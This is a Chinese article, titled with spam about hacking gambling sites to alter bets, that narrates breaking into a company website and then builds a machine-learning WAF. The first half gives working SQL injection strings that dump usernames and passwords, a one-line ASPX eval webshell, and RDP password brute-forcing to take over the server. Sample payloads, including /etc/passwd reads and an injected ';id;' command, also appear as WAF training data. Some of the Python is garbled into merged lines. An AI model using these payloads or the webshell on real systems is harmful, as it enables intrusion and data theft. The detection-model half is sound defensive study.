滲透入侵賭博網站作弊改單控制

入侵某網站,引發滲透入侵賭博網站作弊改單的安全防護方案思考。

駭客入侵與防禦方案介紹

1。 入侵是指駭客在任何地方,透過網路遠端控制目標電腦/手機/伺服器/網路裝置,進而隨意地讀取目標的隱私資料,增加刪除功能,又或者使用目標系統上的功能,包括但不限於使用手機的麥克風監聽目標,使用攝像頭偷窺監控目標,使用目標裝置的計算能力挖礦,使用目標裝置的網路能力發動DDoS攻擊等等。亦或是破解了一個服務的密碼,進去檢視敏感資料、控制門禁/紅綠燈等等。

2。 入侵防禦是一種電腦網路安全設施,是對防病毒軟體和防火牆的解釋。 入侵防禦是一種能夠監視網路或網路裝置與網路資料傳輸行為的計算機網路安全系統,能夠即時的中斷、調整或隔離一些不正常或是具有傷害性的網路資料傳輸行為。常見的產品有(IPS: Intrusion Prevention System)、防病毒軟體(Antivirus Programs)和防火牆(Packet Filter, Application Gateway)。

網站入侵實戰分析

1。 收集目標資訊

目標是http://www。xxxxxx。com/Pages/About。aspx?id=95

上海某廣告有限公司,網站是aspx編寫,存在SQL注入,圖1所示,判斷是否存在注入點。伺服器是windows server 2008 並開放了3389埠,如圖2所示。

滲透入侵賭博網站作弊改單控制

圖1

滲透入侵賭博網站作弊改單控制

圖2

2。 漏洞利用

既然存在SQL注入漏洞,就可以嘗試攻擊能不能獲取資料庫資訊,如圖3所示,資料庫基本資訊己經獲取到。

用到關鍵sql語句:

1‘ and 1=2 union all select 1, database(); #

滲透入侵賭博網站作弊改單控制

圖3

接下來就是獲取獲取表名與欄位資料,如圖4所示:

用到關鍵sql語句:

1’ and 1=2 union all select TABLE_SCHEMA, TABLE_NAME from information_schema。tables where table_schema = ‘xxxx’; #1‘ and 1=2 union all select TABLE_NAME, COLUMN_NAME from information_schema。columns where table_name = ’xxxx‘; #1’ and 1=2 union all select user, password from users; #

滲透入侵賭博網站作弊改單控制

圖4

如圖4所示得到管理員密碼為:4Cxxxxxxxxxxxxx。MD5解密得到:ERxxxxxxxx。

但是現在問題來了,雖然有了管理員密碼,但是沒有找到登入後臺,就好比有了鑰匙,但是不知道開誰家的門,現在還得找一下後臺。

用御劍後臺掃描工具爆破好像被伺服器發現拒絕訪問了,最後嘗試使用google hacking語法測試找到其後臺為http://www。xxxxxxx。com/Admin/Login。aspx?returnUrl=%2fadmin%2flogin。aspx,然後登入成功,如圖5、6

滲透入侵賭博網站作弊改單控制

圖5

滲透入侵賭博網站作弊改單控制

圖6

3。 維持訪問Webshell

Webshell是攻擊者使用的惡意指令碼,其目的是升級和維護對已經受到攻擊的WEB應用程式的持久訪問。Webshell通常包含一個後門,允許攻擊者遠端訪問,並能在任何時候控制伺服器。這樣攻擊者省去了每次訪問攻擊伺服器需要利用漏洞的時間。攻擊者也可能選擇自己修復漏洞,以確保沒有其他人會利用該漏洞。

登入到後臺看到有一個上傳圖片的地方可以上傳WebShell,webShell程式碼如下:

<%@ Page Language=“Jscript”%><%eval(Request。Item[“pass”],“unsafe”);%>

最後上傳成後用菜刀連線如圖7所示。

滲透入侵賭博網站作弊改單控制

圖7

4。 許可權提升

大部分駭客在入侵一個網站後,通常會將asp或php後門檔案與網站伺服器web目錄下正常的網頁檔案混在一起,然後就可以使用瀏覽器來訪問asp或者php後門,得到一個命令執行環境,以達到控制網站伺服器的目的,但是除非伺服器配置錯誤,否則webshell一般在web伺服器的使用者許可權下執行,該使用者許可權有限的。透過使用webshell,攻擊者可以嘗試透過利用系統上的本地漏洞來執行許可權升級攻擊,以假定根許可權,在Linux和其他基於Unix的作業系統中,根許可權是“超級使用者”。透過訪問根帳戶,攻擊者基本上可以在系統上做任何事情,包括安裝軟體、更改許可權、新增和刪除使用者、竊取密碼、讀取電子郵件等等。

從資訊收集我們可以知道目標伺服器開了3389埠,如圖8所示。

滲透入侵賭博網站作弊改單控制

圖8

我們可以嘗試透過爆破的方式來試試運氣。運氣不錯,管理員設定了一個超級簡單的密碼,最終被成功破解登入,如圖9所示。

滲透入侵賭博網站作弊改單控制

圖9

最終拿到了伺服器的控制權,以上內容僅供學習參考,請勿非法測試。

web安全框架簡述

1。 不論是攻擊還是防禦,我們都要清楚地知道什麼地方可能存在攻擊點,什麼地方須要重點防禦,基於此我把它分成如圖10所示的分類。

滲透入侵賭博網站作弊改單控制

圖10

如上圖10所示,將Web安全程簡化為3類:

常規安全:注入、XSS、檔案上傳、檔案包含、CSRF 等安全漏洞。

業務安全:開發、邏輯漏洞,包括篡改類、驗證碼類、越權類漏洞,比如:商品數量篡改、積分篡改、單價篡改、現金篡改、訂單號篡改等。

第三方安全與0-nDay:第三方依賴包漏洞、開發框架漏洞,未知的漏洞,與一些nDay,在Web應用系統開發過程中,會使用一些開源的前端、後端框架,來實現快速、規範開發。在選用實際的框架時,需對框架進行安全評估,以防止出現安全漏洞,把一些不需要安全風險引入到業務系統中。比如Spring中CVE-2018-1270 漏洞,造成遠端程式碼執行,JAVA 反序列化執行漏洞,攻擊者可以透過此漏洞遠端執行惡意程式碼來入侵伺服器。

2。對不同型別的安全問題須要的不同的時間段有不同的應對方式,同樣我也把這個過程分為三步,如圖11所示。

滲透入侵賭博網站作弊改單控制

圖11

事前這一步其實是很關鍵的一步,這一步是儘可能發現更多的安全隱患,然後解決掉。就像在醫學界一樣,早在《黃帝內經》“治未病”思想中,防病養生謀略,是至今為止我國衛生界所遵守的“預防為主”戰略的最早思想,它包括未病先防、已病防變、已變防漸等多個方面的內容,這就要求人們不但要治病,而且要防病,不但要防病,而且要注意阻擋病變發生的趨勢、並在病變未產生之前就想好能夠採用的救急方法,這樣才能掌握疾病的主動權,達到“治病十全”的“上工之術”。做到在疾病沒有來,就消除了。扯得有點遠了。回到WEB安全,事前進行安全測試,發現安全問題,儘量減少外部安全隱患是多麼的重要。

第一步也只能是儘量減少安全隱患,當漏了安全問題的時候,我們就須要用到防禦與檢測對應著事中與事後,比如防火牆、入侵檢測系統、web應用防火牆,風險控制,降低服務執行許可權,取消上傳目錄的執行許可權。就算攻擊者伺服器的shell,儘量降低安全風險。

機器學習攻擊檢測模型WAF探索

1。 根據最新CyberEdge年度網路威脅防禦報告,超過90%的IT安全組織投身於機器學習(ML)和/或人工智慧(AI)技術,以應對高階網路威脅。可見機AI在網路安全領域的重要性。目前己知的安全產品也應用到了AI技術並取得不錯的效果。

2。 不管是用傳統的WAF還是用AI來做安全防禦,總之知道如何攻擊才能更好的地防禦,我把攻擊與防禦做一個簡單的流程對比,如圖12所示。

滲透入侵賭博網站作弊改單控制

圖12

3。 WAF (WebApplication Firewall) 是網站安全防護體系裡最常用也最有效的防禦手段之一,被廣泛應用於 Web 業務及網站的安全防護中,如果要保障 WAF 有效攔截駭客入侵,關鍵在於 Web 攻擊檢測的有效性。當前 WAF 的主流檢測手段有基於規則和基於語義規則兩種:

基於規則的 WAF,透過維護大量的已知攻擊手法的特徵規則,用特徵規則匹配來檢查目標流量中的攻擊行為,這種方式簡單有效,但是規則難以有效應對 0day 攻擊與規則以外的駭客攻擊手法。

基於語義分析是在理解程式本身語言規範基礎上,透過匹配攻擊特徵檢測 Web 攻擊。典型的應用是針對SQL 資料庫語言的 SQL 注入攻擊,及針對 JS 語言的 XSS 攻擊的攻擊檢測。理論上可以解決基於正則的規則的漏報和誤報的問題,不過也不是萬能的,比如http協議中究竟哪部分是疑似可執行的程式碼段,這個就是個不好解決的問題。另外http協議中,對於SQL注入攻擊存在的都是程式碼段,或者說是SQL片段,如何保證拼接可以正常解析也是很難的事情。可以參考這篇文章https://www。cnblogs。com/2014asm/p/10834818。html。

4。 基於規則、語義分析結合的 WAF 將 Web 攻擊檢測技術提高了一個臺階,但防護仍然不具備對未知威脅的進化適應能力,處於被動應對攻擊狀態。如果能將“被動應對”變為“主動進化”,WAF 的防護能力可以更進一步得到提升:如果能透過機器學習經驗資料,形成有效的行為模型,然後對請求事件做出判斷和預測,將使產品具備自學習、自進化、自適應的特性。將機器學習應用到 WAF 攻擊檢測中,理論上可以進一步提升 WAF 的能力。

5。 本文使用機器學習中邏輯迴歸演算法建立檢測模型,實現對網路請求進行惡意檢測。

簡單介紹演算法原理:Logistic迴歸為機率型非線性迴歸模型,是研究二分類觀察結果與一些影響因素之間關係的一種多變數分析方法。通常的問題是,研究某些因素條件下某個結果是否發生,比如醫學中根據病人的一些症狀特徵來判斷它是否患有某種病。

滲透入侵賭博網站作弊改單控制

檢測模型建立整體流程如圖13所示:

滲透入侵賭博網站作弊改單控制

圖13

建模主要步驟:

分別拿到正常請求和惡意請求的資料集。

對無規律的資料集進行處理得到特徵矩陣。

使用機器邏輯迴歸方式使用特徵矩陣訓練檢測模型。

最後計算模型的準確度,並使用檢測模型判斷未知請求是惡意的還是正常的。

惡意的資料集來自 https://github。com/foosdy/payloads中的一些XSS、SQL注入等攻擊的payload,一共整理出50000條惡意請求作為惡意的資料集;正常請求的資料集來自於http://secrepo。com/, 攻擊1000000條日誌請求,

比如有惡意請求部分樣本如下:

/scripts/edit_image。php?dn=1&userfile=/etc/passwd&userfile_name= ;id;/launch。asp?nfuse_application=

/main。php?logout=1‘ and 1=1 and ’‘<>’kxshru8u

在收集的樣本集中無論是惡意請求資料集還是正常請求資料集,都是不定長的字串列表,很難直接用邏輯迴歸演算法對這些不規律的資料進行處理,所以,需要對文字進行數字特徵化,用來訓練我們的檢測模型。處理完特徵化後用作為訓練的資料集,可以先從中取出一少部分資料用來測試已經訓練好的模型的準確率,可以直接使用scikit-learn提供的 train_test_split 方法對原始資料集進行分割。

有了訓練資料,可以直接使用邏輯迴歸的方法來訓練我們的模型,直接呼叫scikit-learn 定義一個邏輯模型例項,然後呼叫訓練方法,傳值訓練資料即可,全部程式碼如下:

# coding: utf-8

import osfrom sklearn。feature_extraction。textimport TfidfVectorizerfrom sklearn。model_selectionimport train_test_splitfrom sklearn。linear_modelimport LogisticRegression

import urllib

import time

import pickle

import html

import warnings

warnings。filterwarnings(‘ignore’)

class WAF(object):

def __init__(self):

pass

def ML_Train(self):

good_query_list = self。get_query_list(‘goodqueries。txt’)

bad_query_list = self。get_query_list(‘badqueries。txt’)

print(‘===========start========’)

good_y = [0 for iin range(0,len(good_query_list))]

bad_y = [1 for iin range(0,len(bad_query_list))]

queries = bad_query_list+good_query_list

y = bad_y + good_y

#converting data to vectors

self。vectorizer = TfidfVectorizer(tokenizer=self。get_ngrams)

X = self。vectorizer。fit_transform(queries)

X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=20, random_state=42)

self。lgs = LogisticRegression()

self。lgs。fit(X_train, y_train)

print(‘模型準確度:{}’。format(self。lgs。score(X_test, y_test)))#模型的準確度

def predict(self,new_queries):

new_queries = [urllib。parse。unquote(url) for urlin new_queries]

X_predict = self。vectorizer。transform(new_queries)

res = self。lgs。predict(X_predict)

res_list = []for q,rin zip(new_queries,res):

tmp = ‘正常請求’if r == 0 else ‘惡意請求’

# print(‘{} {}’。format(q,tmp))

q_entity = html。escape(q)

res_list。append({‘url’:q_entity,‘識別結果’:tmp})

print(“預測結果:{}”。format(str(res_list)))return res_list

def get_query_list(self,filename):

directory = str(os。getcwd())

# directory = str(os。getcwd())+‘/module/waf’

filepath = directory + “/” + filename

data = open(filepath,‘r’, encoding=‘UTF-8’)。readlines()

query_list = []for din data:

d = str(urllib。parse。unquote(d)) #converting url encoded data to simple string

# print(d)

query_list。append(d)return list(set(query_list))

def get_ngrams(self,query):

tempQuery = str(query)

ngrams = []for iin range(0,len(tempQuery)-3):

ngrams。append(tempQuery[i:i+3])return ngrams

最後檢測模型的準確度與驗證模型效果,簡單構造幾個請求去進行預測,判斷的結果如下:

if __name__ == ‘__main__’:

wf = WAF()

wf。ML_Train()

wf。predict([‘http://localhost/id=1’,#xss攻擊

‘http://localhost/name=admin\’ or 1=2‘,#sql注入

’http://localhost/index。php?id=1 and 1=2‘,#sql注入

’http://localhost/index。php?id=1‘,#sql注入

’http://www。exehack。net/article。asp?id=6 and (select count(*) from sysobjects)>0‘,#sql注入

’article。asp?id=6 group by admin。username,admin。password having 1=1–‘,#sql注入

’http://localhost/admin。php‘])#正常===========start========

模型準確度:0。95

預測結果:

[{’url‘: ’http://localhost/id=1‘, ’識別結果‘: ’惡意請求‘},

{’url‘: ’http://localhost/name=admin‘ or 1=2’, ‘識別結果’: ‘惡意請求’},

{‘url’: ‘http://localhost/index。php?id=1 and 1=2’, ‘識別結果’: ‘惡意請求’},

{‘url’: ‘http://localhost/index。php?id=1’, ‘識別結果’: ‘惡意請求’},

{‘url’: ‘http://www。exehack。net/article。asp?id=6 and (select count(*) from sysobjects)>0’, ‘識別結果’: ‘惡意請求’},

{‘url’: ‘article。asp?id=6 group by admin。username,admin。password having 1=1–’, ‘識別結果’: ‘惡意請求’},

{‘url’: ‘http://localhost/admin。php’, ‘識別結果’: ‘正常請求’}]

結果都能準確識別出是否為惡意請求,但是這只是檢測常見攻擊的模型,還有像業務安全,只能結合自身業務,確定正常或者威脅的請求資料作為訓練資料集訓練模型這樣才能更加適用於當前業條環境。以上就是用機器學習演算法來訓練惡意請求檢測模型,訓練檢測模型的方式有許多種,常見的有SVM或是其他機器學習演算法,基於邏輯迴歸檢測的有效性非常依賴於訓練資料集,在應用時可以定期把檢測出確定威脅的請求放入原始資料集中,對檢測模型進行最佳化,檢測結果會更加精準。

總結

1。 個人認為好的技術一定是從公司的狀況出發,最新的、最先進、最牛B的技術不一定就是最合適的技術,最合適公司當前業務的技術才是最有價值的技術。同樣一個好的安全防禦產品不是全能型的,不是萬金油,也不可能包打天下,只有相互配合不同的安全產品才能更好的做到安全防護。

AI在Web攻擊檢測上存在延遲問題,由於機器學習在處理大資料時需要相對較長的處理時間,如相對複雜的算法理論上可以實現更加精準的識別,但是由於AI檢測的處理延遲將會嚴重影響業務效能,這也是AI WAF落地Web攻擊檢測必須解決的問題。